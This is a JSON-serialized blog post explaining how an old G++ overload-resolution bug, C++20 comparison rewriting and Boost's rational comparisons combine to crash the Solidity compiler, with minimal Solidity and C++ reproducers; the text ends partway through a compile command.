[{"data":1,"prerenderedAt":165258},["ShallowReactive",2],{"blog-/blog/2025-08-11-compiler-bug-causes-compiler-bug":3,"featured-blog-posts":2870},{"_path":4,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":8,"description":9,"author":10,"image":11,"date":14,"tags":15,"isFeatured":18,"onBlogPage":18,"body":19,"_type":2864,"_id":2865,"_source":2866,"_file":2867,"_stem":2868,"_extension":2869},"/blog/2025-08-11-compiler-bug-causes-compiler-bug","blog",false,"","Compiler Bug Causes Compiler Bug: How a 12-Year-Old G++ Bug Took Down Solidity","A subtle G++ bug from 2012, C++20's new comparison rules, and legacy Boost code can collide to crash Solidity's compiler on valid code. We unpack the surprising chain reaction and how to fix it.","kiprey",{"src":12,"height":13,"width":13},"/posts/compiler-bug-causes-compiler-bug/title.png",1024,"2025-08-11",[16,17],"solidity","compiler",true,{"type":20,"children":21,"toc":2848},"root",[22,30,202,207,212,217,222,337,342,347,352,398,411,416,436,441,445,452,468,481,486,499,504,517,531,536,539,545,552,609,614,620,634,670,678,686,707,713,718,1194,1202,1249,1254,1262,1270,1309,1314,1322,1327,1330,1336,1342,1368,1380,1407,1441,1446,1449,1455,1475,2008,2021,2040,2063,2074,2079,2182,2187,2192,2206,2211,2289,2307,2312,2315,2321,2333,2345,2698,2703,2721,2726,2729,2735,2740,2758,2778,2781,2787,2806,2809,2815,2820,2832,2837,2842],{"type":23,"tag":24,"props":25,"children":26},"element","p",{},[27],{"type":28,"value":29},"text","Compilers aren't supposed to crash — especially not when compiling perfectly valid code like this:",{"type":23,"tag":31,"props":32,"children":35},"pre",{"code":33,"language":16,"meta":7,"className":34,"style":7},"// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.25;\n\ncontract A {\n    function a() public pure returns (uint256) {\n        return 1 ** 2;\n    }\n}\n","language-solidity shiki shiki-themes slack-dark",[36],{"type":23,"tag":37,"props":38,"children":39},"code",{"__ignoreMap":7},[40,52,74,83,103,153,184,193],{"type":23,"tag":41,"props":42,"children":45},"span",{"class":43,"line":44},"line",1,[46],{"type":23,"tag":41,"props":47,"children":49},{"style":48},"--shiki-default:#6A9955",[50],{"type":28,"value":51},"// SPDX-License-Identifier: UNLICENSED\n",{"type":23,"tag":41,"props":53,"children":55},{"class":43,"line":54},2,[56,62,68],{"type":23,"tag":41,"props":57,"children":59},{"style":58},"--shiki-default:#C586C0",[60],{"type":28,"value":61},"pragma",{"type":23,"tag":41,"props":63,"children":65},{"style":64},"--shiki-default:#569CD6",[66],{"type":28,"value":67}," solidity",{"type":23,"tag":41,"props":69,"children":71},{"style":70},"--shiki-default:#E6E6E6",[72],{"type":28,"value":73}," ^0.8.25;\n",{"type":23,"tag":41,"props":75,"children":77},{"class":43,"line":76},3,[78],{"type":23,"tag":41,"props":79,"children":80},{"emptyLinePlaceholder":18},[81],{"type":28,"value":82},"\n",{"type":23,"tag":41,"props":84,"children":86},{"class":43,"line":85},4,[87,92,98],{"type":23,"tag":41,"props":88,"children":89},{"style":64},[90],{"type":28,"value":91},"contract",{"type":23,"tag":41,"props":93,"children":95},{"style":94},"--shiki-default:#4EC9B0",[96],{"type":28,"value":97}," A",{"type":23,"tag":41,"props":99,"children":100},{"style":70},[101],{"type":28,"value":102}," {\n",{"type":23,"tag":41,"props":104,"children":106},{"class":43,"line":105},5,[107,112,118,123,128,133,138,143,148],{"type":23,"tag":41,"props":108,"children":109},{"style":64},[110],{"type":28,"value":111},"    function",{"type":23,"tag":41,"props":113,"children":115},{"style":114},"--shiki-default:#DCDCAA",[116],{"type":28,"value":117}," a",{"type":23,"tag":41,"props":119,"children":120},{"style":70},[121],{"type":28,"value":122},"() ",{"type":23,"tag":41,"props":124,"children":125},{"style":64},[126],{"type":28,"value":127},"public",{"type":23,"tag":41,"props":129,"children":130},{"style":64},[131],{"type":28,"value":132}," pure",{"type":23,"tag":41,"props":134,"children":135},{"style":58},[136],{"type":28,"value":137}," returns",{"type":23,"tag":41,"props":139,"children":140},{"style":70},[141],{"type":28,"value":142}," (",{"type":23,"tag":41,"props":144,"children":145},{"style":94},[146],{"type":28,"value":147},"uint256",{"type":23,"tag":41,"props":149,"children":150},{"style":70},[151],{"type":28,"value":152},") {\n",{"type":23,"tag":41,"props":154,"children":156},{"class":43,"line":155},6,[157,162,168,174,179],{"type":23,"tag":41,"props":158,"children":159},{"style":58},[160],{"type":28,"value":161},"        return",{"type":23,"tag":41,"props":163,"children":165},{"style":164},"--shiki-default:#B5CEA8",[166],{"type":28,"value":167}," 1",{"type":23,"tag":41,"props":169,"children":171},{"style":170},"--shiki-default:#D4D4D4",[172],{"type":28,"value":173}," **",{"type":23,"tag":41,"props":175,"children":176},{"style":164},[177],{"type":28,"value":178}," 2",{"type":23,"tag":41,"props":180,"children":181},{"style":70},[182],{"type":28,"value":183},";\n",{"type":23,"tag":41,"props":185,"children":187},{"class":43,"line":186},7,[188],{"type":23,"tag":41,"props":189,"children":190},{"style":70},[191],{"type":28,"value":192},"    }\n",{"type":23,"tag":41,"props":194,"children":196},{"class":43,"line":195},8,[197],{"type":23,"tag":41,"props":198,"children":199},{"style":70},[200],{"type":28,"value":201},"}\n",{"type":23,"tag":24,"props":203,"children":204},{},[205],{"type":28,"value":206},"Yet running Solidity's compiler (solc) on this file on a standard Ubuntu 22.04 system (G++ 11.4, Boost 1.74) causes an immediate segmentation fault.",{"type":23,"tag":24,"props":208,"children":209},{},[210],{"type":28,"value":211},"At first, this seemed absurd. The code just returns 1 to the power of 2 — no memory tricks, unsafe casting, or undefined behavior.",{"type":23,"tag":24,"props":213,"children":214},{},[215],{"type":28,"value":216},"And yet, it crashes.",{"type":23,"tag":24,"props":218,"children":219},{},[220],{"type":28,"value":221},"Another minimal example?",{"type":23,"tag":31,"props":223,"children":225},{"code":224,"language":16,"meta":7,"className":34,"style":7},"// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.25;\n\ncontract A {\n    function a() public pure {\n        uint256[1] data;\n    }\n}\n",[226],{"type":23,"tag":37,"props":227,"children":228},{"__ignoreMap":7},[229,236,251,258,273,300,323,330],{"type":23,"tag":41,"props":230,"children":231},{"class":43,"line":44},[232],{"type":23,"tag":41,"props":233,"children":234},{"style":48},[235],{"type":28,"value":51},{"type":23,"tag":41,"props":237,"children":238},{"class":43,"line":54},[239,243,247],{"type":23,"tag":41,"props":240,"children":241},{"style":58},[242],{"type":28,"value":61},{"type":23,"tag":41,"props":244,"children":245},{"style":64},[246],{"type":28,"value":67},{"type":23,"tag":41,"props":248,"children":249},{"style":70},[250],{"type":28,"value":73},{"type":23,"tag":41,"props":252,"children":253},{"class":43,"line":76},[254],{"type":23,"tag":41,"props":255,"children":256},{"emptyLinePlaceholder":18},[257],{"type":28,"value":82},{"type":23,"tag":41,"props":259,"children":260},{"class":43,"line":85},[261,265,269],{"type":23,"tag":41,"props":262,"children":263},{"style":64},[264],{"type":28,"value":91},{"type":23,"tag":41,"props":266,"children":267},{"style":94},[268],{"type":28,"value":97},{"type":23,"tag":41,"props":270,"children":271},{"style":70},[272],{"type":28,"value":102},{"type":23,"tag":41,"props":274,"children":275},{"class":43,"line":105},[276,280,284,288,292,296],{"type":23,"tag":41,"props":277,"children":278},{"style":64},[279],{"type":28,"value":111},{"type":23,"tag":41,"props":281,"children":282},{"style":114},[283],{"type":28,"value":117},{"type":23,"tag":41,"props":285,"children":286},{"style":70},[287],{"type":28,"value":122},{"type":23,"tag":41,"props":289,"children":290},{"style":64},[291],{"type":28,"value":127},{"type":23,"tag":41,"props":293,"children":294},{"style":64},[295],{"type":28,"value":132},{"type":23,"tag":41,"props":297,"children":298},{"style":70},[299],{"type":28,"value":102},{"type":23,"tag":41,"props":301,"children":302},{"class":43,"line":155},[303,308,313,318],{"type":23,"tag":41,"props":304,"children":305},{"style":94},[306],{"type":28,"value":307},"        uint256",{"type":23,"tag":41,"props":309,"children":310},{"style":70},[311],{"type":28,"value":312},"[",{"type":23,"tag":41,"props":314,"children":315},{"style":164},[316],{"type":28,"value":317},"1",{"type":23,"tag":41,"props":319,"children":320},{"style":70},[321],{"type":28,"value":322},"] data;\n",{"type":23,"tag":41,"props":324,"children":325},{"class":43,"line":186},[326],{"type":23,"tag":41,"props":327,"children":328},{"style":70},[329],{"type":28,"value":192},{"type":23,"tag":41,"props":331,"children":332},{"class":43,"line":195},[333],{"type":23,"tag":41,"props":334,"children":335},{"style":70},[336],{"type":28,"value":201},{"type":23,"tag":24,"props":338,"children":339},{},[340],{"type":28,"value":341},"Still crashes.",{"type":23,"tag":24,"props":343,"children":344},{},[345],{"type":28,"value":346},"So what’s going on?",{"type":23,"tag":24,"props":348,"children":349},{},[350],{"type":28,"value":351},"We traced it down to a seemingly unrelated C++ line deep in the compiler backend:",{"type":23,"tag":31,"props":353,"children":357},{"code":354,"language":355,"meta":7,"className":356,"style":7},"if (*lengthValue == 0) { ... }\n","cpp","language-cpp shiki shiki-themes slack-dark",[358],{"type":23,"tag":37,"props":359,"children":360},{"__ignoreMap":7},[361],{"type":23,"tag":41,"props":362,"children":363},{"class":43,"line":44},[364,369,373,378,383,388,393],{"type":23,"tag":41,"props":365,"children":366},{"style":58},[367],{"type":28,"value":368},"if",{"type":23,"tag":41,"props":370,"children":371},{"style":70},[372],{"type":28,"value":142},{"type":23,"tag":41,"props":374,"children":375},{"style":170},[376],{"type":28,"value":377},"*",{"type":23,"tag":41,"props":379,"children":380},{"style":70},[381],{"type":28,"value":382},"lengthValue ",{"type":23,"tag":41,"props":384,"children":385},{"style":170},[386],{"type":28,"value":387},"==",{"type":23,"tag":41,"props":389,"children":390},{"style":164},[391],{"type":28,"value":392}," 0",{"type":23,"tag":41,"props":394,"children":395},{"style":70},[396],{"type":28,"value":397},") { ... }\n",{"type":23,"tag":24,"props":399,"children":400},{},[401,403,409],{"type":28,"value":402},"That single comparison — a ",{"type":23,"tag":37,"props":404,"children":406},{"className":405},[],[407],{"type":28,"value":408},"boost::rational",{"type":28,"value":410}," compared to 0 — causes infinite recursion in G++ \u003C 14 when compiled under C++20. And the resulting stack overflow crashes solc.",{"type":23,"tag":24,"props":412,"children":413},{},[414],{"type":28,"value":415},"This post unpacks how this happened — and why none of the individual components are technically \"broken\":",{"type":23,"tag":417,"props":418,"children":419},"ul",{},[420,426,431],{"type":23,"tag":421,"props":422,"children":423},"li",{},[424],{"type":28,"value":425},"A 12-year-old overload resolution bug in G++",{"type":23,"tag":421,"props":427,"children":428},{},[429],{"type":28,"value":430},"An outdated symmetric comparison pattern in Boost",{"type":23,"tag":421,"props":432,"children":433},{},[434],{"type":28,"value":435},"A subtle but impactful rewrite rule in C++20",{"type":23,"tag":24,"props":437,"children":438},{},[439],{"type":28,"value":440},"Put together, they form a perfect storm — one that takes down Solidity compilation on default Linux setups, even though your code is perfectly fine.",{"type":23,"tag":442,"props":443,"children":444},"hr",{},[],{"type":23,"tag":446,"props":447,"children":449},"h2",{"id":448},"background-the-setup",[450],{"type":28,"value":451},"Background: The Setup",{"type":23,"tag":24,"props":453,"children":454},{},[455,457,466],{"type":28,"value":456},"If you follow the ",{"type":23,"tag":458,"props":459,"children":463},"a",{"href":460,"rel":461},"https://docs.soliditylang.org/en/v0.8.30/installing-solidity.html#building-from-source",[462],"nofollow",[464],{"type":28,"value":465},"Solidity build documentation (v0.8.30)",{"type":28,"value":467},", you'll see it recommends:",{"type":23,"tag":417,"props":469,"children":470},{},[471,476],{"type":23,"tag":421,"props":472,"children":473},{},[474],{"type":28,"value":475},"Boost ≥ 1.67",{"type":23,"tag":421,"props":477,"children":478},{},[479],{"type":28,"value":480},"GCC ≥ 11",{"type":23,"tag":24,"props":482,"children":483},{},[484],{"type":28,"value":485},"Ubuntu 22.04, for example, ships with:",{"type":23,"tag":417,"props":487,"children":488},{},[489,494],{"type":23,"tag":421,"props":490,"children":491},{},[492],{"type":28,"value":493},"G++ 11.4.0",{"type":23,"tag":421,"props":495,"children":496},{},[497],{"type":28,"value":498},"Boost 1.74.0",{"type":23,"tag":24,"props":500,"children":501},{},[502],{"type":28,"value":503},"So far, so good.",{"type":23,"tag":24,"props":505,"children":506},{},[507,509,515],{"type":28,"value":508},"However, Solidity enabled ",{"type":23,"tag":510,"props":511,"children":512},"strong",{},[513],{"type":28,"value":514},"C++20",{"type":28,"value":516}," in January 2025:",{"type":23,"tag":518,"props":519,"children":520},"blockquote",{},[521],{"type":23,"tag":24,"props":522,"children":523},{},[524],{"type":23,"tag":458,"props":525,"children":528},{"href":526,"rel":527},"https://github.com/ethereum/solidity/commit/233a5081835a04939ccf85dfb5286c0b53d23c66",[462],[529],{"type":28,"value":530},"Enable C++20 in Solidity",{"type":23,"tag":24,"props":532,"children":533},{},[534],{"type":28,"value":535},"This wasn't accompanied by an update to the versions of dependencies in the documentation. As we'll soon see, that's what opened the trapdoor.",{"type":23,"tag":442,"props":537,"children":538},{},[],{"type":23,"tag":446,"props":540,"children":542},{"id":541},"part-i-a-12-year-old-g-bug-in-overload-resolution",[543],{"type":28,"value":544},"Part I: A 12-Year-Old G++ Bug in Overload Resolution",{"type":23,"tag":546,"props":547,"children":549},"h3",{"id":548},"whats-overload-resolution",[550],{"type":28,"value":551},"What’s Overload Resolution?",{"type":23,"tag":24,"props":553,"children":554},{},[555,557,563,565,571,573,578,580,585,587,593,595,600,601,607],{"type":28,"value":556},"In C++, when you write an expression like ",{"type":23,"tag":37,"props":558,"children":560},{"className":559},[],[561],{"type":28,"value":562},"a == b",{"type":28,"value":564},", the compiler chooses among available ",{"type":23,"tag":37,"props":566,"children":568},{"className":567},[],[569],{"type":28,"value":570},"operator==",{"type":28,"value":572}," implementations by comparing their ",{"type":23,"tag":510,"props":574,"children":575},{},[576],{"type":28,"value":577},"match quality",{"type":28,"value":579},". A ",{"type":23,"tag":510,"props":581,"children":582},{},[583],{"type":28,"value":584},"member function",{"type":28,"value":586}," like ",{"type":23,"tag":37,"props":588,"children":590},{"className":589},[],[591],{"type":28,"value":592},"a.operator==(b)",{"type":28,"value":594}," usually has higher priority than a ",{"type":23,"tag":510,"props":596,"children":597},{},[598],{"type":28,"value":599},"non-member function",{"type":28,"value":586},{"type":23,"tag":37,"props":602,"children":604},{"className":603},[],[605],{"type":28,"value":606},"operator==(a, b)",{"type":28,"value":608}," — unless the types differ too much or are ambiguous.",{"type":23,"tag":24,"props":610,"children":611},{},[612],{"type":28,"value":613},"That’s the rule. But G++ didn’t always follow it.",{"type":23,"tag":546,"props":615,"children":617},{"id":616},"the-bug",[618],{"type":28,"value":619},"The Bug",{"type":23,"tag":24,"props":621,"children":622},{},[623,625,632],{"type":28,"value":624},"In 2012, a bug was filed: ",{"type":23,"tag":458,"props":626,"children":629},{"href":627,"rel":628},"https://gcc.gnu.org/bugzilla/show_bug.cgi?id=53499",[462],[630],{"type":28,"value":631},"GCC Bug 53499 – overload resolution favors non-member function",{"type":28,"value":633},". The issue? In expressions where:",{"type":23,"tag":417,"props":635,"children":636},{},[637,657],{"type":23,"tag":421,"props":638,"children":639},{},[640,642,648,650,655],{"type":28,"value":641},"A class ",{"type":23,"tag":37,"props":643,"children":645},{"className":644},[],[646],{"type":28,"value":647},"rational\u003CT>",{"type":28,"value":649}," has a templated ",{"type":23,"tag":37,"props":651,"children":653},{"className":652},[],[654],{"type":28,"value":570},{"type":28,"value":656}," member function",{"type":23,"tag":421,"props":658,"children":659},{},[660,662,668],{"type":28,"value":661},"There's also a more generic free ",{"type":23,"tag":37,"props":663,"children":665},{"className":664},[],[666],{"type":28,"value":667},"operator==(rational\u003CT>, U)",{"type":28,"value":669}," function",{"type":23,"tag":24,"props":671,"children":672},{},[673],{"type":23,"tag":510,"props":674,"children":675},{},[676],{"type":28,"value":677},"Clang correctly chooses the member function.",{"type":23,"tag":24,"props":679,"children":680},{},[681],{"type":23,"tag":510,"props":682,"children":683},{},[684],{"type":28,"value":685},"G++ (before v14) chooses the non-member function.",{"type":23,"tag":24,"props":687,"children":688},{},[689,691,696,698,705],{"type":28,"value":690},"Why? Because G++ mishandles ",{"type":23,"tag":510,"props":692,"children":693},{},[694],{"type":28,"value":695},"templated conversion + non-exact match",{"type":28,"value":697},", overvaluing a non-member function with worse match quality. It does not correctly apply the overload resolution ranking rules defined in ",{"type":23,"tag":458,"props":699,"children":702},{"href":700,"rel":701},"https://cplusplus.github.io/CWG/issues/532.html",[462],[703],{"type":28,"value":704},"CWG532: Member/nonmember operator template partial ordering",{"type":28,"value":706},".",{"type":23,"tag":546,"props":708,"children":710},{"id":709},"a-minimal-reproducer",[711],{"type":28,"value":712},"A Minimal Reproducer",{"type":23,"tag":24,"props":714,"children":715},{},[716],{"type":28,"value":717},"Let’s see this in action:",{"type":23,"tag":31,"props":719,"children":721},{"code":720,"language":355,"meta":7,"className":356,"style":7},"#include \u003Ciostream>\n\ntemplate \u003Ctypename IntType>\nclass rational {\npublic:\n    template \u003Cclass T>\n    bool operator==(const T& i) const {\n        std::cout \u003C\u003C \"clang++ resolved member\" \u003C\u003C std::endl;\n        return true;\n    }\n};\n\ntemplate \u003Cclass Arg, class IntType>\nbool operator==(const rational\u003CIntType>& a, const Arg& b) {\n    std::cout \u003C\u003C \"g++ \u003C14 resolved non-member\" \u003C\u003C std::endl;\n    return false;\n}\n\nint main() {\n    rational\u003Cint> r;\n    return r == 0;\n}\n",[722],{"type":23,"tag":37,"props":723,"children":724},{"__ignoreMap":7},[725,739,746,774,791,799,824,875,903,920,928,937,945,983,1056,1082,1100,1108,1116,1135,1161,1186],{"type":23,"tag":41,"props":726,"children":727},{"class":43,"line":44},[728,733],{"type":23,"tag":41,"props":729,"children":730},{"style":58},[731],{"type":28,"value":732},"#include",{"type":23,"tag":41,"props":734,"children":736},{"style":735},"--shiki-default:#CE9178",[737],{"type":28,"value":738}," \u003Ciostream>\n",{"type":23,"tag":41,"props":740,"children":741},{"class":43,"line":54},[742],{"type":23,"tag":41,"props":743,"children":744},{"emptyLinePlaceholder":18},[745],{"type":28,"value":82},{"type":23,"tag":41,"props":747,"children":748},{"class":43,"line":76},[749,754,759,764,769],{"type":23,"tag":41,"props":750,"children":751},{"style":64},[752],{"type":28,"value":753},"template",{"type":23,"tag":41,"props":755,"children":756},{"style":70},[757],{"type":28,"value":758}," \u003C",{"type":23,"tag":41,"props":760,"children":761},{"style":64},[762],{"type":28,"value":763},"typename",{"type":23,"tag":41,"props":765,"children":766},{"style":94},[767],{"type":28,"value":768}," IntType",{"type":23,"tag":41,"props":770,"children":771},{"style":70},[772],{"type":28,"value":773},">\n",{"type":23,"tag":41,"props":775,"children":776},{"class":43,"line":85},[777,782,787],{"type":23,"tag":41,"props":778,"children":779},{"style":64},[780],{"type":28,"value":781},"class",{"type":23,"tag":41,"props":783,"children":784},{"style":94},[785],{"type":28,"value":786}," rational",{"type":23,"tag":41,"props":788,"children":789},{"style":70},[790],{"type":28,"value":102},{"type":23,"tag":41,"props":792,"children":793},{"class":43,"line":105},[794],{"type":23,"tag":41,"props":795,"children":796},{"style":64},[797],{"type":28,"value":798},"public:\n",{"type":23,"tag":41,"props":800,"children":801},{"class":43,"line":155},[802,807,811,815,820],{"type":23,"tag":41,"props":803,"children":804},{"style":64},[805],{"type":28,"value":806},"    template",{"type":23,"tag":41,"props":808,"children":809},{"style":70},[810],{"type":28,"value":758},{"type":23,"tag":41,"props":812,"children":813},{"style":64},[814],{"type":28,"value":781},{"type":23,"tag":41,"props":816,"children":817},{"style":94},[818],{"type":28,"value":819}," T",{"type":23,"tag":41,"props":821,"children":822},{"style":70},[823],{"type":28,"value":773},{"type":23,"tag":41,"props":825,"children":826},{"class":43,"line":186},[827,832,837,842,847,851,856,862,867,871],{"type":23,"tag":41,"props":828,"children":829},{"style":64},[830],{"type":28,"value":831},"    bool",{"type":23,"tag":41,"props":833,"children":834},{"style":64},[835],{"type":28,"value":836}," operator",{"type":23,"tag":41,"props":838,"children":839},{"style":70},[840],{"type":28,"value":841},"==(",{"type":23,"tag":41,"props":843,"children":844},{"style":64},[845],{"type":28,"value":846},"const",{"type":23,"tag":41,"props":848,"children":849},{"style":94},[850],{"type":28,"value":819},{"type":23,"tag":41,"props":852,"children":853},{"style":64},[854],{"type":28,"value":855},"&",{"type":23,"tag":41,"props":857,"children":859},{"style":858},"--shiki-default:#9CDCFE",[860],{"type":28,"value":861}," i",{"type":23,"tag":41,"props":863,"children":864},{"style":70},[865],{"type":28,"value":866},") ",{"type":23,"tag":41,"props":868,"children":869},{"style":64},[870],{"type":28,"value":846},{"type":23,"tag":41,"props":872,"children":873},{"style":70},[874],{"type":28,"value":102},{"type":23,"tag":41,"props":876,"children":877},{"class":43,"line":195},[878,883,888,893,898],{"type":23,"tag":41,"props":879,"children":880},{"style":70},[881],{"type":28,"value":882},"        std::cout ",{"type":23,"tag":41,"props":884,"children":885},{"style":170},[886],{"type":28,"value":887},"\u003C\u003C",{"type":23,"tag":41,"props":889,"children":890},{"style":735},[891],{"type":28,"value":892}," \"clang++ resolved member\"",{"type":23,"tag":41,"props":894,"children":895},{"style":170},[896],{"type":28,"value":897}," \u003C\u003C",{"type":23,"tag":41,"props":899,"children":900},{"style":70},[901],{"type":28,"value":902}," std::endl;\n",{"type":23,"tag":41,"props":904,"children":906},{"class":43,"line":905},9,[907,911,916],{"type":23,"tag":41,"props":908,"children":909},{"style":58},[910],{"type":28,"value":161},{"type":23,"tag":41,"props":912,"children":913},{"style":64},[914],{"type":28,"value":915}," true",{"type":23,"tag":41,"props":917,"children":918},{"style":70},[919],{"type":28,"value":183},{"type":23,"tag":41,"props":921,"children":923},{"class":43,"line":922},10,[924],{"type":23,"tag":41,"props":925,"children":926},{"style":70},[927],{"type":28,"value":192},{"type":23,"tag":41,"props":929,"children":931},{"class":43,"line":930},11,[932],{"type":23,"tag":41,"props":933,"children":934},{"style":70},[935],{"type":28,"value":936},"};\n",{"type":23,"tag":41,"props":938,"children":940},{"class":43,"line":939},12,[941],{"type":23,"tag":41,"props":942,"children":943},{"emptyLinePlaceholder":18},[944],{"type":28,"value":82},{"type":23,"tag":41,"props":946,"children":948},{"class":43,"line":947},13,[949,953,957,961,966,971,975,979],{"type":23,"tag":41,"props":950,"children":951},{"style":64},[952],{"type":28,"value":753},{"type":23,"tag":41,"props":954,"children":955},{"style":70},[956],{"type":28,"value":758},{"type":23,"tag":41,"props":958,"children":959},{"style":64},[960],{"type":28,"value":781},{"type":23,"tag":41,"props":962,"children":963},{"style":94},[964],{"type":28,"value":965}," Arg",{"type":23,"tag":41,"props":967,"children":968},{"style":70},[969],{"type":28,"value":970},", ",{"type":23,"tag":41,"props":972,"children":973},{"style":64},[974],{"type":28,"value":781},{"type":23,"tag":41,"props":976,"children":977},{"style":94},[978],{"type":28,"value":768},{"type":23,"tag":41,"props":980,"children":981},{"style":70},[982],{"type":28,"value":773},{"type":23,"tag":41,"props":984,"children":986},{"class":43,"line":985},14,[987,992,996,1000,1004,1008,1013,1018,1023,1027,1031,1035,1039,1043,1047,1052],{"type":23,"tag":41,"props":988,"children":989},{"style":64},[990],{"type":28,"value":991},"bool",{"type":23,"tag":41,"props":993,"children":994},{"style":64},[995],{"type":28,"value":836},{"type":23,"tag":41,"props":997,"children":998},{"style":70},[999],{"type":28,"value":841},{"type":23,"tag":41,"props":1001,"children":1002},{"style":64},[1003],{"type":28,"value":846},{"type":23,"tag":41,"props":1005,"children":1006},{"style":94},[1007],{"type":28,"value":786},{"type":23,"tag":41,"props":1009,"children":1010},{"style":70},[1011],{"type":28,"value":1012},"\u003C",{"type":23,"tag":41,"props":1014,"children":1015},{"style":94},[1016],{"type":28,"value":1017},"IntType",{"type":23,"tag":41,"props":1019,"children":1020},{"style":70},[1021],{"type":28,"value":1022},">",{"type":23,"tag":41,"props":1024,"children":1025},{"style":64},[1026],{"type":28,"value":855},{"type":23,"tag":41,"props":1028,"children":1029},{"style":858},[1030],{"type":28,"value":117},{"type":23,"tag":41,"props":1032,"children":1033},{"style":70},[1034],{"type":28,"value":970},{"type":23,"tag":41,"props":1036,"children":1037},{"style":64},[1038],{"type":28,"value":846},{"type":23,"tag":41,"props":1040,"children":1041},{"style":94},[1042],{"type":28,"value":965},{"type":23,"tag":41,"props":1044,"children":1045},{"style":64},[1046],{"type":28,"value":855},{"type":23,"tag":41,"props":1048,"children":1049},{"style":858},[1050],{"type":28,"value":1051}," b",{"type":23,"tag":41,"props":1053,"children":1054},{"style":70},[1055],{"type":28,"value":152},{"type":23,"tag":41,"props":1057,"children":1059},{"class":43,"line":1058},15,[1060,1065,1069,1074,1078],{"type":23,"tag":41,"props":1061,"children":1062},{"style":70},[1063],{"type":28,"value":1064},"    std::cout ",{"type":23,"tag":41,"props":1066,"children":1067},{"style":170},[1068],{"type":28,"value":887},{"type":23,"tag":41,"props":1070,"children":1071},{"style":735},[1072],{"type":28,"value":1073}," \"g++ \u003C14 resolved non-member\"",{"type":23,"tag":41,"props":1075,"children":1076},{"style":170},[1077],{"type":28,"value":897},{"type":23,"tag":41,"props":1079,"children":1080},{"style":70},[1081],{"type":28,"value":902},{"type":23,"tag":41,"props":1083,"children":1085},{"class":43,"line":1084},16,[1086,1091,1096],{"type":23,"tag":41,"props":1087,"children":1088},{"style":58},[1089],{"type":28,"value":1090},"    return",{"type":23,"tag":41,"props":1092,"children":1093},{"style":64},[1094],{"type":28,"value":1095}," false",{"type":23,"tag":41,"props":1097,"children":1098},{"style":70},[1099],{"type":28,"value":183},{"type":23,"tag":41,"props":1101,"children":1103},{"class":43,"line":1102},17,[1104],{"type":23,"tag":41,"props":1105,"children":1106},{"style":70},[1107],{"type":28,"value":201},{"type":23,"tag":41,"props":1109,"children":1111},{"class":43,"line":1110},18,[1112],{"type":23,"tag":41,"props":1113,"children":1114},{"emptyLinePlaceholder":18},[1115],{"type":28,"value":82},{"type":23,"tag":41,"props":1117,"children":1119},{"class":43,"line":1118},19,[1120,1125,1130],{"type":23,"tag":41,"props":1121,"children":1122},{"style":64},[1123],{"type":28,"value":1124},"int",{"type":23,"tag":41,"props":1126,"children":1127},{"style":114},[1128],{"type":28,"value":1129}," main",{"type":23,"tag":41,"props":1131,"children":1132},{"style":70},[1133],{"type":28,"value":1134},"() {\n",{"type":23,"tag":41,"props":1136,"children":1138},{"class":43,"line":1137},20,[1139,1144,1148,1152,1156],{"type":23,"tag":41,"props":1140,"children":1141},{"style":70},[1142],{"type":28,"value":1143},"    rational",{"type":23,"tag":41,"props":1145,"children":1146},{"style":170},[1147],{"type":28,"value":1012},{"type":23,"tag":41,"props":1149,"children":1150},{"style":64},[1151],{"type":28,"value":1124},{"type":23,"tag":41,"props":1153,"children":1154},{"style":170},[1155],{"type":28,"value":1022},{"type":23,"tag":41,"props":1157,"children":1158},{"style":70},[1159],{"type":28,"value":1160}," r;\n",{"type":23,"tag":41,"props":1162,"children":1164},{"class":43,"line":1163},21,[1165,1169,1174,1178,1182],{"type":23,"tag":41,"props":1166,"children":1167},{"style":58},[1168],{"type":28,"value":1090},{"type":23,"tag":41,"props":1170,"children":1171},{"style":70},[1172],{"type":28,"value":1173}," r ",{"type":23,"tag":41,"props":1175,"children":1176},{"style":170},[1177],{"type":28,"value":387},{"type":23,"tag":41,"props":1179,"children":1180},{"style":164},[1181],{"type":28,"value":392},{"type":23,"tag":41,"props":1183,"children":1184},{"style":70},[1185],{"type":28,"value":183},{"type":23,"tag":41,"props":1187,"children":1189},{"class":43,"line":1188},22,[1190],{"type":23,"tag":41,"props":1191,"children":1192},{"style":70},[1193],{"type":28,"value":201},{"type":23,"tag":417,"props":1195,"children":1196},{},[1197],{"type":23,"tag":421,"props":1198,"children":1199},{},[1200],{"type":28,"value":1201},"Compile with g++\u003C14:",{"type":23,"tag":31,"props":1203,"children":1207},{"code":1204,"language":1205,"meta":7,"className":1206,"style":7},"g++ -std=c++17 main.cpp -o test && ./test\n","bash","language-bash shiki shiki-themes slack-dark",[1208],{"type":23,"tag":37,"props":1209,"children":1210},{"__ignoreMap":7},[1211],{"type":23,"tag":41,"props":1212,"children":1213},{"class":43,"line":44},[1214,1219,1224,1229,1234,1239,1244],{"type":23,"tag":41,"props":1215,"children":1216},{"style":114},[1217],{"type":28,"value":1218},"g++",{"type":23,"tag":41,"props":1220,"children":1221},{"style":735},[1222],{"type":28,"value":1223}," -std=c++17",{"type":23,"tag":41,"props":1225,"children":1226},{"style":735},[1227],{"type":28,"value":1228}," main.cpp",{"type":23,"tag":41,"props":1230,"children":1231},{"style":735},[1232],{"type":28,"value":1233}," -o",{"type":23,"tag":41,"props":1235,"children":1236},{"style":735},[1237],{"type":28,"value":1238}," test",{"type":23,"tag":41,"props":1240,"children":1241},{"style":70},[1242],{"type":28,"value":1243}," && ",{"type":23,"tag":41,"props":1245,"children":1246},{"style":114},[1247],{"type":28,"value":1248},"./test\n",{"type":23,"tag":24,"props":1250,"children":1251},{},[1252],{"type":28,"value":1253},"Output (on g++ 11.4):",{"type":23,"tag":31,"props":1255,"children":1257},{"code":1256},"g++ \u003C14 resolved non-member\n",[1258],{"type":23,"tag":37,"props":1259,"children":1260},{"__ignoreMap":7},[1261],{"type":28,"value":1256},{"type":23,"tag":417,"props":1263,"children":1264},{},[1265],{"type":23,"tag":421,"props":1266,"children":1267},{},[1268],{"type":28,"value":1269},"Compile with clang++:",{"type":23,"tag":31,"props":1271,"children":1273},{"code":1272,"language":1205,"meta":7,"className":1206,"style":7},"clang++ -std=c++17 main.cpp -o test && 